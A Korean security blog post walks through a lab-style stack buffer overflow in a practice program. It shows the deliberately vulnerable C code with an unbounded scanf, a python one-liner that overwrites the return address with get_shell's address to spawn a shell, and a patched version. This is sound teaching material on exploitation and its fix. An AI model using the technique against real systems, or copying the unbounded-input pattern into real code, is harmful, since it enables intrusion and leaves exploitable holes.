IT/시스템 보안

[Stack Buffer Overflow] Return Address Overwrite을 통한 실행 흐름 조작

kykyky 2024. 3. 1. 16:23

Return Address Overwrite

 

 

Buffer overflow를 통해 stack의 return address 값을 조작하면, 프로세스의 실행 흐름을 조작할 수 있다.

 

 

 


 

 

취약점 분석

 

취약점이 있는 코드: rao.c

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0); // setvbuf(FILE 구조체에 대한 포인터, 버퍼, 버퍼링 모드, 버퍼 크기(바이트))
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf); 
  // 입력값의 크기를 확인하지 않고 있다. -> buf 크기보다 큰 것이 들어오면 overflow 발생

  return 0;
}

 

 

위 코드에서 발생할 Stack frame 구조는 아래와 같다.

낮은 주소
...
callee가 사용하도록 마련해둔 공간 (즉 buf)
SFP
Return Address
...
높은 주소

 

 

즉 아래 사진과 같다.

그림 1.

 

 

이 상태에서, buf 크기보다 큰 입력값이 들어와, SFP, 심하게는 return address 영역까지 넘칠 수 있고,

이를 이용해 return address 값을 조작하면, 프로세스의 실행 흐름을 조작할 수 있는 것이다.

 

 

(아래 예시 사진은 이 글의 코드와 완전히 동일하진 않음)

 

이런 구조의 메모리 레이아웃이 있다고 하자.

 

 

 

 

 

 

 

 

입력값이 buffer의 크기보다 작을 경우 문제가 없다.

 

 

 

 

 

 

 

 

입력값이 커서 buffer가 꽉 차 ebp를 건드리기 직전이다.

 

 

 

 

 

 

 

 

ebp가 조작되었다.

출처:&nbsp;https://www.youtube.com/watch?v=R4REuv3COn8&t=286s

 

 

 

 

 

 

 

 

return address까지 오염되었다.

 

 

 

 

 

 

 

 

 

 


 

익스플로잇

 

따라서, 그림 1.을 참고하였을 때,

0x38만큼은 아무 쓰레기 값으로 채운 뒤,

그 다음에 Return address에 덮어씌워질 값에는 우리가 실행하려는 코드 (= get_shell)의 주소를 넣으면 공격이 성공한다.

(물론, 우리가 실행하려는 함수가 코드 안에 이렇게 친절하게 있는 경우는 잘 없지만, 단지 실습을 위함이다.)

 

 

 

get_shell() 의 주소인 0x4006aa (이 주소는 pwndbg에서 print get_shell 명령을 통해 얻을 수 있다) 은 리틀 엔디언을 고려해  “\xaa\x06\x40\x00\x00\x00\x00\x00” 로서 전달되어야 한다.

 

 

아래와 같이 명령하여 프로그램을 실행하고 인자를 전달하면, get_shell() 함수가 실행에 성공한다.

(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao

 

 


 

패치

 

취약점을 발생시켰던 scanf 함수를, 정확히 n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.

 

 

패치된 코드: rao_patched.c

#include <stdio.h>
#include <unistd.h>

void get_shell(){
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main(){
  char buf[0x28];

  printf("Input: ");
  scanf("%39s", buf); 
  // scanf: 39(= buf의 크기(40바이트) - 1바이트)만큼의 입력을 받음 (마지막 1바이트는 Null바이트의 자리이기에 남겨둠)
  return 0;
}

 

 

이외에도, C 코드에서 취약점을 유발하는 함수들을 아래와 같이 대체하여 보완할 수 있다.